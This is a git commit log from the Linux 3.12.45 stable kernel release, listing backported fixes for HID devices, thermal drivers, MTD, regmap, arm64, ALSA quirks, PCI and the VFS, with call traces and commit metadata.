commit 8b3f81787bfcaa5f49e559fe70ae73bdc8c03ad2
Author: Jiri Slaby <jslaby@suse.cz>
Date:   Tue Jul 28 11:41:09 2015 +0200

    Linux 3.12.45

commit 706733db1391fbf31e6eb734d5bc7c5378183060
Author: Ping Cheng <pinglinux@gmail.com>
Date:   Mon Jun 2 17:19:52 2014 -0700

    HID: core: add two new usages for digitizer
    
    commit 368c96640d10a145da5f258f2d2833668d4f3629 upstream.
    
    On Feb 17, 2014, two new usages are approved to HID usage Table 18 -
    Digitizer Page:
    
    5A	Secondary Barrel Switch		MC	16.4
    5B	Transducer Serial Number	SV	16.3.1
    
    This patch adds relevant definitions to hid/input. It also removes
    outdated comments in hid.h.
    
    Signed-off-by: Ping Cheng <pingc@wacom.com>
    Reviewed-by: Benjamin Tissoires <benjamin.tissoires@redhat.com>
    Signed-off-by: Jiri Kosina <jkosina@suse.cz>
    Cc: Oliver Neukum <ONeukum@suse.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 4901b77517aca6fb0c99d3acfa4e44bc605f0b0f
Author: Olivier Gay <ogay@logitech.com>
Date:   Fri Apr 25 20:26:44 2014 +0200

    HID: add missing hid usages
    
    commit f362e690e5530dd8ace289da991bda558731678e upstream.
    
    Add some missing hid usages from consumer page, add
    some display brightness control usages from approved hid usage
    table request HUTTR41:
    http://www.usb.org/developers/hidpage/HUTRR41.pdf
    and add voice command usage from approved request HUTTR45:
    http://www.usb.org/developers/hidpage/Voice_Command_Usage.pdf
    
    [jkosina@suse.cz: removed KEY_BRIGHTNESS_TOGGLE / KEY_DISPLAYTOGGLE
     conflict from hid-debug.c]
    
    Signed-off-by: Olivier Gay <ogay@logitech.com>
    Signed-off-by: Mathieu Meisser <mmeisser@logitech.com>
    Acked-by: Dmitry Torokhov <dmitry.torokhov@gmail.com>
    Signed-off-by: Jiri Kosina <jkosina@suse.cz>
    Cc: Oliver Neukum <ONeukum@suse.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit d45acc42507139637a1636eef9c64f6d7a38fd4c
Author: Hans de Goede <hdegoede@redhat.com>
Date:   Wed Jan 29 17:57:41 2014 +0100

    HID: Add some missing HUT mappings
    
    commit 5820e4d4ae17c0994c93d0537bd1a184267f3cae upstream.
    
    Add mapping for "AL Next Task/Application", "AL Previous Task/Application"
    and "AL File Browser" buttons, as found on the Microsoft Office keyboard.
    
    Note that there already is a mapping for "AL Local Machine Browser" to
    KEY_FILE. Unless we ever encounter a device with both that should not be
    a problem.
    
    Signed-off-by: Hans de Goede <hdegoede@redhat.com>
    Signed-off-by: Jiri Kosina <jkosina@suse.cz>
    Cc: Oliver Neukum <ONeukum@suse.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit ae432ba6bc105f7279ed729ae47a8c9e42ac6c22
Author: Srinivas Pandruvada <srinivas.pandruvada@linux.intel.com>
Date:   Mon Mar 24 16:25:04 2014 -0700

    HID: hid-sensor-hub: fix sleeping function called from invalid context
    
    commit f74346a04b79c9a5e50a2ee5e923b94195975d17 upstream.
    
    Fix issue with the sleeping calling hid_hw_request under spinlock.
    When i2c is used as HID transport, this is calling kmalloc, which
    can sleep. So remove call to this function while under spinlock.
     [ 1067.021961] Call Trace:
     [ 1067.021970]  [<ffffffff8192f5f2>] dump_stack+0x4d/0x6f
     [ 1067.021976]  [<ffffffff811109f2>] __might_sleep+0xd2/0xf0
     [ 1067.021981]  [<ffffffff811ea15b>] __kmalloc+0xeb/0x200
     [ 1067.021989]  [<ffffffff816e0cb3>] ? hid_alloc_report_buf+0x23/0x30
     [ 1067.021993]  [<ffffffff816e0cb3>] hid_alloc_report_buf+0x23/0x30
     [ 1067.021997]  [<ffffffff816f4cb7>] i2c_hid_request+0x57/0x110
     [ 1067.022006]  [<ffffffffa02bc61c>] sensor_hub_input_attr_get_raw_value+0xbc/0x100 [hid_sensor_hub]
    
    Signed-off-by: Srinivas Pandruvada <srinivas.pandruvada@linux.intel.com>
    Signed-off-by: Jiri Kosina <jkosina@suse.cz>
    Cc: Oliver Neukum <ONeukum@suse.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 13ae2b524788cb3b279cdb2529edd4b418e51251
Author: Tomas Sokorai <tsokorai@gmail.com>
Date:   Wed Apr 23 10:42:41 2014 -0400

    HID: multitouch: add support of EliteGroup 05D8 panels
    
    commit 7c7606a2464fee1cf50efef34aa44aee1edf453a upstream.
    
    They need to have the class SERIAL.
    
    Note: it is a Win 7 panel, not Win 8 certified.
    
    Signed-off-by: Tomas Sokorai <tsokorai@gmail.com>
    Signed-off-by: Benjamin Tissoires <benjamin.tissoires@redhat.com>
    Signed-off-by: Jiri Kosina <jkosina@suse.cz>
    Cc: Oliver Neukum <ONeukum@suse.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 454489dc10db3e66647b86f1689ce8d715f92af6
Author: Andrew Duggan <aduggan@synaptics.com>
Date:   Wed Mar 19 13:39:03 2014 -0700

    HID: multitouch: add support for Win 8.1 multitouch touchpads
    
    commit 9abebedb123a577ecc5b69b2a2515499e430be24 upstream.
    
    Multitouch touchpads built for Win 8.1 need to be sent an input mode feature report
    in order to start reporting multitouch events. This is the same process sent
    to Win 7 multitouch touchscreens except the value of the feature report is 3 for
    touchpads.
    
    Signed-off-by: Andrew Duggan <aduggan@synaptics.com>
    Reviewed-by: Benjamin Tissoires <benjamin.tissoires@redhat.com>
    Signed-off-by: Jiri Kosina <jkosina@suse.cz>
    Cc: Oliver Neukum <ONeukum@suse.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit b38095f55384a50280eba67556519b71394c5795
Author: Simon Wood <simon@mungewell.org>
Date:   Thu Mar 13 12:42:03 2014 -0600

    HID: hid-lg4ff: Support new version of G27
    
    commit 6b5625b2af30de6ff73402ad070dd21592681821 upstream.
    
    It has been reported that there is a new hardware version of the G27
    in the 'wild'. This patch add's this new revision so that it can be
    sent the command to switch to native mode.
    
    Reported-by: "Ivan Baldo" <ibaldo@adinet.com.uy>
    Tested-by: "evilcow" <evilcow93@yahoo.com>
    Signed-off-by: Simon Wood <simon@mungewell.org>
    Signed-off-by: Jiri Kosina <jkosina@suse.cz>
    Cc: Oliver Neukum <ONeukum@suse.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit a64a87142c90b0d85d8fd3e1370fc0d9b83c7562
Author: David Herrmann <dh.herrmann@gmail.com>
Date:   Thu Dec 19 12:32:24 2013 +0100

    HID: hyperv: make sure input buffer is big enough
    
    commit 3ccfd0a8d7062a5590923578eea829ee582beba8 upstream.
    
    We need at least HID_MAX_BUFFER_SIZE (4096) bytes as input buffer. HID
    core depends on this as it requires every input report to be at least as
    big as advertised.
    
    Signed-off-by: David Herrmann <dh.herrmann@gmail.com>
    Signed-off-by: K. Y. Srinivasan <kys@microsoft.com>
    Signed-off-by: Jiri Kosina <jkosina@suse.cz>
    Cc: Oliver Neukum <ONeukum@suse.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 7d07816b3dcb7c62a2314c018993ffbbc42cf555
Author: Guennadi Liakhovetski <g.liakhovetski@gmx.de>
Date:   Sat Dec 14 16:23:51 2013 +0100

    ARM: shmobile: wait for MSTP clock status to toggle, when enabling it
    
    commit a028c6da34d434e35ba8322568c756ea97ff3c18 upstream.
    
    On r-/sh-mobile SoCs MSTP clocks are used by the runtime PM to dynamically
    enable and disable peripheral clocks. To make sure the clock has really
    started we have to read back its status register until it confirms success.
    
    Signed-off-by: Guennadi Liakhovetski <g.liakhovetski+renesas@gmail.com>
    Signed-off-by: Simon Horman <horms+renesas@verge.net.au>
    Signed-off-by: Jiri Slaby <jslaby@suse.com>

commit 0d77ef01978d67c8139d7ecb17fbe81299dcb72d
Author: Yoshihiro Shimoda <yoshihiro.shimoda.uh@renesas.com>
Date:   Wed Jan 7 10:13:10 2015 +0900

    thermal: rcar: fix ENR register value
    
    commit 11313746547015ace605c4c347a40350753051e4 upstream.
    
    On R-Mobile APE6, since it has 3 thermal zones, ENR register
    has enable bits in bit 19-16, bit 11-8 and bit 3-0.
    
    However, on R-Car gen2, since it has 1 thermal zone, ENR register has
    enable bits in bit 3-0. (In other words, the write value should always
    be 0 for bit 31-4 of ENR register.)
    
    So, this patch fixes the ENR register value using I/O resource sets.
    
    Acked-by: Geert Uytterhoeven <geert+renesas@glider.be>
    Signed-off-by: Yoshihiro Shimoda <yoshihiro.shimoda.uh@renesas.com>
    Signed-off-by: Eduardo Valentin <edubezval@gmail.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.com>

commit ad3f45e4cf663e52d73f72293b6c1d969b3ef39c
Author: Lukasz Majewski <l.majewski@samsung.com>
Date:   Wed Sep 24 10:27:10 2014 +0200

    thermal: step_wise: fix: Prevent from binary overflow when trend is dropping
    
    commit 26bb0e9a1a938ec98ee07aa76533f1a711fba706 upstream.
    
    It turns out that some boards can have instance->lower greater than 0 and
    when thermal trend is dropping it results with next_target equal to -1.
    
    Since the next_target is defined as unsigned long it is interpreted as
    0xFFFFFFFF and larger than instance->upper.
    As a result the next_target is set to instance->upper which ramps up to
    maximal cooling device target when the temperature is steadily decreasing.
    
    Signed-off-by: Lukasz Majewski <l.majewski@samsung.com>
    Signed-off-by: Zhang Rui <rui.zhang@intel.com>
    Cc: Mason <slash.tmp@free.fr>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit bd206d3d8439b3994e0c5aa88b30a47e962b9797
Author: Uwe Kleine-König <u.kleine-koenig@pengutronix.de>
Date:   Thu May 28 10:22:10 2015 +0200

    mtd: dc21285: use raw spinlock functions for nw_gpio_lock
    
    commit e5babdf928e5d0c432a8d4b99f20421ce14d1ab6 upstream.
    
    Since commit bd31b85960a7 (which is in 3.2-rc1) nw_gpio_lock is a raw spinlock
    that needs usage of the corresponding raw functions.
    
    This fixes:
    
      drivers/mtd/maps/dc21285.c: In function 'nw_en_write':
      drivers/mtd/maps/dc21285.c:41:340: warning: passing argument 1 of 'spinlock_check' from incompatible pointer type
        spin_lock_irqsave(&nw_gpio_lock, flags);
    
      In file included from include/linux/seqlock.h:35:0,
                       from include/linux/time.h:5,
                       from include/linux/stat.h:18,
                       from include/linux/module.h:10,
                       from drivers/mtd/maps/dc21285.c:8:
      include/linux/spinlock.h:299:102: note: expected 'struct spinlock_t *' but argument is of type 'struct raw_spinlock_t *'
       static inline raw_spinlock_t *spinlock_check(spinlock_t *lock)
                                                                                                            ^
      drivers/mtd/maps/dc21285.c:43:25: warning: passing argument 1 of 'spin_unlock_irqrestore' from incompatible pointer type
        spin_unlock_irqrestore(&nw_gpio_lock, flags);
                               ^
      In file included from include/linux/seqlock.h:35:0,
                       from include/linux/time.h:5,
                       from include/linux/stat.h:18,
                       from include/linux/module.h:10,
                       from drivers/mtd/maps/dc21285.c:8:
      include/linux/spinlock.h:370:91: note: expected 'struct spinlock_t *' but argument is of type 'struct raw_spinlock_t *'
       static inline void spin_unlock_irqrestore(spinlock_t *lock, unsigned long flags)
    
    Fixes: bd31b85960a7 ("locking, ARM: Annotate low level hw locks as raw")
    Signed-off-by: Uwe Kleine-König <u.kleine-koenig@pengutronix.de>
    Signed-off-by: Brian Norris <computersforpeace@gmail.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 6be3211b6225d942b29e628f2e36ecff905a621a
Author: Brian Norris <computersforpeace@gmail.com>
Date:   Thu May 7 17:55:16 2015 -0700

    mtd: fix: avoid race condition when accessing mtd->usecount
    
    commit 073db4a51ee43ccb827f54a4261c0583b028d5ab upstream.
    
    On A MIPS 32-cores machine a BUG_ON was triggered because some acesses to
    mtd->usecount were done without taking mtd_table_mutex.
    kernel: Call Trace:
    kernel: [<ffffffff80401818>] __put_mtd_device+0x20/0x50
    kernel: [<ffffffff804086f4>] blktrans_release+0x8c/0xd8
    kernel: [<ffffffff802577e0>] __blkdev_put+0x1a8/0x200
    kernel: [<ffffffff802579a4>] blkdev_close+0x1c/0x30
    kernel: [<ffffffff8022006c>] __fput+0xac/0x250
    kernel: [<ffffffff80171208>] task_work_run+0xd8/0x120
    kernel: [<ffffffff8012c23c>] work_notifysig+0x10/0x18
    kernel:
    kernel:
            Code: 2442ffff  ac8202d8  000217fe <00020336> dc820128  10400003
                   00000000  0040f809  00000000
    kernel: ---[ end trace 080fbb4579b47a73 ]---
    
    Fixed by taking the mutex in blktrans_open and blktrans_release.
    
    Note that this locking is already suggested in
    include/linux/mtd/blktrans.h:
    
    struct mtd_blktrans_ops {
    ...
    	/* Called with mtd_table_mutex held; no race with add/remove */
    	int (*open)(struct mtd_blktrans_dev *dev);
    	void (*release)(struct mtd_blktrans_dev *dev);
    ...
    };
    
    But we weren't following it.
    
    Originally reported by (and patched by) Zhang and Giuseppe,
    independently. Improved and rewritten.
    
    Reported-by: Zhang Xingcai <zhangxingcai@huawei.com>
    Reported-by: Giuseppe Cantavenera <giuseppe.cantavenera.ext@nokia.com>
    Tested-by: Giuseppe Cantavenera <giuseppe.cantavenera.ext@nokia.com>
    Acked-by: Alexander Sverdlin <alexander.sverdlin@nokia.com>
    Signed-off-by: Brian Norris <computersforpeace@gmail.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 1e0dfcd58b5c7ebce44e7f6f407e1c4ba18b6472
Author: Grygorii Strashko <Grygorii.Strashko@linaro.org>
Date:   Fri Apr 24 14:57:10 2015 +0300

    leds / PM: fix hibernation on arm when gpio-led used with CPU led trigger
    
    commit 084609bf727981c7a2e6e69aefe0052c9d793300 upstream.
    
    Setting a dev_pm_ops suspend/resume pair of callbacks but not a set of
    hibernation callbacks means those pm functions will not be
    called upon hibernation - that leads to system crash on ARM during
    freezing if gpio-led is used in combination with CPU led trigger.
    It may happen after freeze_noirq stage (GPIO is suspended)
    and before syscore_suspend stage (CPU led trigger is suspended)
    - usually when disable_nonboot_cpus() is called.
    
    Log:
      PM: noirq freeze of devices complete after 1.425 msecs
      Disabling non-boot CPUs ...
        ^ system may crash or stuck here with message (TI AM572x)
    
      WARNING: CPU: 0 PID: 3100 at drivers/bus/omap_l3_noc.c:148 l3_interrupt_handler+0x22c/0x370()
      44000000.ocp:L3 Custom Error: MASTER MPU TARGET L4_PER1_P3 (Idle): Data Access in Supervisor mode during Functional access
    
      CPU1: shutdown
        ^ or here
    
    Fix this by using SIMPLE_DEV_PM_OPS, which appropriately
    assigns the suspend and hibernation callbacks and move
    led_suspend/led_resume under CONFIG_PM_SLEEP to avoid
    build warnings.
    
    Fixes: 73e1ab41a80d (leds: Convert led class driver from legacy pm ops to dev_pm_ops)
    Signed-off-by: Grygorii Strashko <Grygorii.Strashko@linaro.org>
    Acked-by: Jacek Anaszewski <j.anaszewski@samsung.com>
    Signed-off-by: Rafael J. Wysocki <rafael.j.wysocki@intel.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 4e7f1779f226526bece2f8a86f580f6099d15b31
Author: Ezequiel Garcia <ezequiel@vanguardiasur.com.ar>
Date:   Mon May 11 12:20:18 2015 -0300

    spi: pl022: Specify 'num-cs' property as required in devicetree binding
    
    commit ea6055c46eda1e19e02209814955e13f334bbe1b upstream.
    
    Since commit 39a6ac11df65 ("spi/pl022: Devicetree support w/o platform data")
    the 'num-cs' parameter cannot be passed through platform data when probing
    with devicetree. Instead, it's a required devicetree property.
    
    Fix the binding documentation so the property is properly specified.
    
    Fixes: 39a6ac11df65 ("spi/pl022: Devicetree support w/o platform data")
    Signed-off-by: Ezequiel Garcia <ezequiel@vanguardiasur.com.ar>
    Signed-off-by: Mark Brown <broonie@kernel.org>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 1ffe4b45055bdf994d55bec98f4664c45a135b70
Author: Stefan Wahren <stefan.wahren@i2se.com>
Date:   Tue Jun 9 20:09:42 2015 +0000

    regulator: core: fix constraints output buffer
    
    commit a7068e3932eee8268c4ce4e080a338ee7b8a27bf upstream.
    
    The buffer for condtraints debug isn't big enough to hold the output
    in all cases. So fix this issue by increasing the buffer.
    
    Signed-off-by: Stefan Wahren <stefan.wahren@i2se.com>
    Signed-off-by: Mark Brown <broonie@kernel.org>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 190747f7a31232706b31869d631891adfe8308dc
Author: Maxime Coquelin <maxime.coquelin@st.com>
Date:   Tue Jun 16 13:53:19 2015 +0200

    regmap: Fix possible shift overflow in regmap_field_init()
    
    commit 921cc29473a0d7c109105c1876ddb432f4a4be7d upstream.
    
    The way the mask is generated in regmap_field_init() is wrong.
    Indeed, a field initialized with msb = 31 and lsb = 0 provokes a shift
    overflow while calculating the mask field.
    
    On some 32 bits architectures, such as x86, the generated mask is 0,
    instead of the expected 0xffffffff.
    
    This patch uses GENMASK() to fix the problem, as this macro is already safe
    regarding shift overflow.
    
    [-js: in 3.12, we do not have GENMASK for general access. Define
    locally as RM_GENMASK.]
    
    Signed-off-by: Maxime Coquelin <maxime.coquelin@st.com>
    Signed-off-by: Mark Brown <broonie@kernel.org>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit c28cdee62fd1e9264651657ba44e94a1f6c5dcd7
Author: Arun Chandran <achandran@mvista.com>
Date:   Mon Jun 15 15:59:02 2015 +0530

    regmap: Fix regmap_bulk_read in BE mode
    
    commit 15b8d2c41fe5839582029f65c5f7004db451cc2b upstream.
    
    In big endian mode regmap_bulk_read gives incorrect data
    for byte reads.
    
    This is because memcpy of a single byte from an address
    after full word read gives different results when
    endianness differs. ie. we get little-end in LE and big-end in BE.
    
    Signed-off-by: Arun Chandran <achandran@mvista.com>
    Signed-off-by: Mark Brown <broonie@kernel.org>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 4d8b8587b1f7d846e05df01d4c1ad3ff93cd5846
Author: Rafael J. Wysocki <rafael.j.wysocki@intel.com>
Date:   Thu May 1 00:14:04 2014 +0200

    cpuidle / menu: Return (-1) if there are no suitable states
    
    commit 3836785a1bdcd6706c68ad46bf53adc0b057b310 upstream.
    
    If there is a PM QoS latency limit and all of the sufficiently shallow
    C-states are disabled, the cpuidle menu governor returns 0 which on
    some systems is CPUIDLE_DRIVER_STATE_START and shouldn't be returned
    if that C-state has been disabled.
    
    Fix the issue by modifying the menu governor to return (-1) in such
    situations.
    
    Signed-off-by: Rafael J. Wysocki <rafael.j.wysocki@intel.com>
    [shilpab: Backport to 3.10.y
     - adjust context
     - add a check if 'next_state' is less than 0 in 'cpuidle_idle_call()',
       this ensures that we exit 'cpuidle_idle_call()' if governor->select()
       returns  negative value]
    Signed-off-by: Shilpasri G Bhat <shilpa.bhat@linux.vnet.ibm.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit e2046be90573d9eec83a485320322a4735196cd1
Author: Will Deacon <will.deacon@arm.com>
Date:   Fri Jun 19 13:56:33 2015 +0100

    arm64: vdso: work-around broken ELF toolchains in Makefile
    
    commit 6f1a6ae87c0c60d7c462ef8fd071f291aa7a9abb upstream.
    
    When building the kernel with a bare-metal (ELF) toolchain, the -shared
    option may not be passed down to collect2, resulting in silent corruption
    of the vDSO image (in particular, the DYNAMIC section is omitted).
    
    The effect of this corruption is that the dynamic linker fails to find
    the vDSO symbols and libc is instead used for the syscalls that we
    intended to optimise (e.g. gettimeofday). Functionally, there is no
    issue as the sigreturn trampoline is still intact and located by the
    kernel.
    
    This patch fixes the problem by explicitly passing -shared to the linker
    when building the vDSO.
    
    Reported-by: Szabolcs Nagy <Szabolcs.Nagy@arm.com>
    Reported-by: James Greenlaigh <james.greenhalgh@arm.com>
    Signed-off-by: Will Deacon <will.deacon@arm.com>
    Signed-off-by: Catalin Marinas <catalin.marinas@arm.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 60b519808996e04b5bf19cdf42f28f9b3689f252
Author: Dave P Martin <Dave.Martin@arm.com>
Date:   Tue Jun 16 17:38:47 2015 +0100

    arm64: mm: Fix freeing of the wrong memmap entries with !SPARSEMEM_VMEMMAP
    
    commit b9bcc919931611498e856eae9bf66337330d04cc upstream.
    
    The memmap freeing code in free_unused_memmap() computes the end of
    each memblock by adding the memblock size onto the base.  However,
    if SPARSEMEM is enabled then the value (start) used for the base
    may already have been rounded downwards to work out which memmap
    entries to free after the previous memblock.
    
    This may cause memmap entries that are in use to get freed.
    
    In general, you're not likely to hit this problem unless there
    are at least 2 memblocks and one of them is not aligned to a
    sparsemem section boundary.  Note that carve-outs can increase
    the number of memblocks by splitting the regions listed in the
    device tree.
    
    This problem doesn't occur with SPARSEMEM_VMEMMAP, because the
    vmemmap code deals with freeing the unused regions of the memmap
    instead of requiring the arch code to do it.
    
    This patch gets the memblock base out of the memblock directly when
    computing the block end address to ensure the correct value is used.
    
    Signed-off-by: Dave Martin <Dave.Martin@arm.com>
    Signed-off-by: Catalin Marinas <catalin.marinas@arm.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 4dd03eff07b66352a307bb3eeb7d3973ec34ecbe
Author: Catalin Marinas <catalin.marinas@arm.com>
Date:   Fri Jun 12 11:24:41 2015 +0100

    arm64: Do not attempt to use init_mm in reset_context()
    
    commit 565630d503ef24e44c252bed55571b3a0d68455f upstream.
    
    After secondary CPU boot or hotplug, the active_mm of the idle thread is
    &init_mm. The init_mm.pgd (swapper_pg_dir) is only meant for TTBR1_EL1
    and must not be set in TTBR0_EL1. Since when active_mm == &init_mm the
    TTBR0_EL1 is already set to the reserved value, there is no need to
    perform any context reset.
    
    Signed-off-by: Catalin Marinas <catalin.marinas@arm.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit d308de3b8d7ecb33a7b7731b32182e419707a250
Author: Vineet Gupta <vgupta@synopsys.com>
Date:   Thu Nov 13 15:54:01 2014 +0530

    ARC: add compiler barrier to LLSC based cmpxchg
    
    commit d57f727264f1425a94689bafc7e99e502cb135b5 upstream.
    
    When auditing cmpxchg call sites, Chuck noted that gcc was optimizing
    away some of the desired LDs.
    
    |	do {
    |		new = old = *ipi_data_ptr;
    |		new |= 1U << msg;
    |	} while (cmpxchg(ipi_data_ptr, old, new) != old);
    
    was generating to below
    
    | 8015cef8:	ld         r2,[r4,0]  <-- First LD
    | 8015cefc:	bset       r1,r2,r1
    |
    | 8015cf00:	llock      r3,[r4]  <-- atomic op
    | 8015cf04:	brne       r3,r2,8015cf10
    | 8015cf08:	scond      r1,[r4]
    | 8015cf0c:	bnz        8015cf00
    |
    | 8015cf10:	brne       r3,r2,8015cf00  <-- Branch doesn't go to orig LD
    
    Although this was fixed by adding a ACCESS_ONCE in this call site, it
    seems safer (for now at least) to add compiler barrier to LLSC based
    cmpxchg
    
    Reported-by: Chuck Jordan <cjordan@synopsys.com>
    Acked-by: Peter Zijlstra (Intel) <peterz@infradead.org>
    Signed-off-by: Vineet Gupta <vgupta@synopsys.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 2f14e9e8e90697915c7d31ce639eaf8fb2b2f2b5
Author: Takashi Iwai <tiwai@suse.de>
Date:   Mon Jun 29 08:38:02 2015 +0200

    ALSA: hda - Fix the dock headphone output on Fujitsu Lifebook E780
    
    commit 4df3fd1700abbb53bd874143dfd1f9ac9e7cbf4b upstream.
    
    Fujitsu Lifebook E780 sets the sequence number 0x0f to only only of
    the two headphones, thus the driver tries to assign another as the
    line-out, and this results in the inconsistent mapping between the
    created jack ctl and the actual I/O.  Due to this, PulseAudio doesn't
    handle it properly and gets the silent output.
    
    The fix is to ignore the non-HP sequencer checks.
    
    Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=99681
    Signed-off-by: Takashi Iwai <tiwai@suse.de>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 318344bcd274ef6af8618cfc39cb7adafdca838a
Author: Takashi Iwai <tiwai@suse.de>
Date:   Sat Jun 27 10:21:13 2015 +0200

    ALSA: hda - Add headset support to Acer Aspire V5
    
    commit 7819717b11346b8a5420b223b46600e394049c66 upstream.
    
    Acer Aspire V5 with ALC282 codec needs the similar quirk like Dell
    laptops to support the headset mic.  The headset mic pin is 0x19 and
    it's not exposed by BIOS, thus we need to fix the pincfg as well.
    
    Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=96201
    Signed-off-by: Takashi Iwai <tiwai@suse.de>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 9b534159031e187f14ab9ff78c01f114c0a79ce2
Author: Ryan Underwood <nemesis@icequake.net>
Date:   Sun Jan 25 16:07:09 2015 -0800

    Disable write buffering on Toshiba ToPIC95
    
    commit 2fb22a8042fe96b4220843f79241c116d90922c4 upstream.
    
    Disable write buffering on the Toshiba ToPIC95 if it is enabled by
    somebody (it is not supposed to be a power-on default according to
    the datasheet). On the ToPIC95, practically no 32-bit Cardbus card
    will work under heavy load without locking up the whole system if
    this is left enabled. I tried about a dozen. It does not affect
    16-bit cards. This is similar to the O2 bugs in early controller
    revisions it seems.
    
    Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=55961
    Signed-off-by: Ryan C. Underwood <nemesis@icequake.net>
    Signed-off-by: Dominik Brodowski <linux@dominikbrodowski.net>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 9acf0767296ad6a71171c8405a972c7d6e6012c8
Author: Brian King <brking@linux.vnet.ibm.com>
Date:   Wed May 13 08:50:27 2015 -0500

    ipr: Increase default adapter init stage change timeout
    
    commit 45c44b5ff9caa743ed9c2bfd44307c536c9caf1e upstream.
    
    Increase the default init stage change timeout from 15 seconds to 30 seconds.
    This resolves issues we have seen with some adapters not transitioning
    to the first init stage within 15 seconds, which results in adapter
    initialization failures.
    
    Signed-off-by: Brian King <brking@linux.vnet.ibm.com>
    Signed-off-by: James Bottomley <JBottomley@Odin.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 8e1aa21df4dd7a61e94150d1fe8181022f933414
Author: Paul E. McKenney <paulmck@linux.vnet.ibm.com>
Date:   Mon May 11 11:13:05 2015 -0700

    rcu: Correctly handle non-empty Tiny RCU callback list with none ready
    
    commit 6e91f8cb138625be96070b778d9ba71ce520ea7e upstream.
    
    If, at the time __rcu_process_callbacks() is invoked,  there are callbacks
    in Tiny RCU's callback list, but none of them are ready to be invoked,
    the current list-management code will knit the non-ready callbacks out
    of the list.  This can result in hangs and possibly worse.  This commit
    therefore inserts a check for there being no callbacks that can be
    invoked immediately.
    
    This bug is unlikely to occur -- you have to get a new callback between
    the time rcu_sched_qs() or rcu_bh_qs() was called, but before we get to
    __rcu_process_callbacks().  It was detected by the addition of RCU-bh
    testing to rcutorture, which in turn was instigated by Iftekhar Ahmed's
    mutation testing.  Although this bug was made much more likely by
    915e8a4fe45e (rcu: Remove fastpath from __rcu_process_callbacks()), this
    did not cause the bug, but rather made it much more probable.   That
    said, it takes more than 40 hours of rcutorture testing, on average,
    for this bug to appear, so this fix cannot be considered an emergency.
    
    Signed-off-by: Paul E. McKenney <paulmck@linux.vnet.ibm.com>
    Reviewed-by: Josh Triplett <josh@joshtriplett.org>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 601291ed9d980a016c4a95cbf2d1ef4bf1aed503
Author: Bjorn Helgaas <bhelgaas@google.com>
Date:   Tue Jun 9 17:31:38 2015 -0500

    x86/PCI: Use host bridge _CRS info on systems with >32 bit addressing
    
    commit 3d9fecf6bfb8b12bc2f9a4c7109895a2a2bb9436 upstream.
    
    We enable _CRS on all systems from 2008 and later.  On older systems, we
    ignore _CRS and assume the whole physical address space (excluding RAM and
    other devices) is available for PCI devices, but on systems that support
    physical address spaces larger than 4GB, it's doubtful that the area above
    4GB is really available for PCI.
    
    After d56dbf5bab8c ("PCI: Allocate 64-bit BARs above 4G when possible"), we
    try to use that space above 4GB *first*, so we're more likely to put a
    device there.
    
    On Juan's Toshiba Satellite Pro U200, BIOS left the graphics, sound, 1394,
    and card reader devices unassigned (but only after Windows had been
    booted).  Only the sound device had a 64-bit BAR, so it was the only device
    placed above 4GB, and hence the only device that didn't work.
    
    Keep _CRS enabled even on pre-2008 systems if they support physical address
    space larger than 4GB.
    
    Fixes: d56dbf5bab8c ("PCI: Allocate 64-bit BARs above 4G when possible")
    Reported-and-tested-by: Juan Dayer <jdayer@outlook.com>
    Reported-and-tested-by: Alan Horsfield <alan@hazelgarth.co.uk>
    Link: https://bugzilla.kernel.org/show_bug.cgi?id=99221
    Link: https://bugzilla.opensuse.org/show_bug.cgi?id=907092
    Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
    
    Signed-off-by: Jiri Slaby <jslaby@suse.com>

commit 5029d7e0b1f8fc45efdc6fad2dd688801476b505
Author: Eric W. Biederman <ebiederm@xmission.com>
Date:   Wed Jan 7 08:10:09 2015 -0600

    vfs: Ignore unlocked mounts in fs_fully_visible
    
    commit ceeb0e5d39fcdf4dca2c997bf225c7fc49200b37 upstream.
    
    Limit the mounts fs_fully_visible considers to locked mounts.
    Unlocked can always be unmounted so considering them adds hassle
    but no security benefit.
    
    Signed-off-by: "Eric W. Biederman" <ebiederm@xmission.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 4ac11cad23835c01bc6d871b4addf04bbc03d7aa
Author: Eric W. Biederman <ebiederm@xmission.com>
Date:   Sun May 24 09:25:00 2015 -0500

    vfs: Remove incorrect debugging WARN in prepend_path
    
    commit 93e3bce6287e1fb3e60d3324ed08555b5bbafa89 upstream.
    
    The warning message in prepend_path is unclear and outdated.  It was
    added as a warning that the mechanism for generating names of pseudo
    files had been removed from prepend_path and d_dname should be used
    instead.  Unfortunately the warning reads like a general warning,
    making it unclear what to do with it.
    
    Remove the warning.  The transition it was added to warn about is long
    over, and I added code several years ago which in rare cases causes
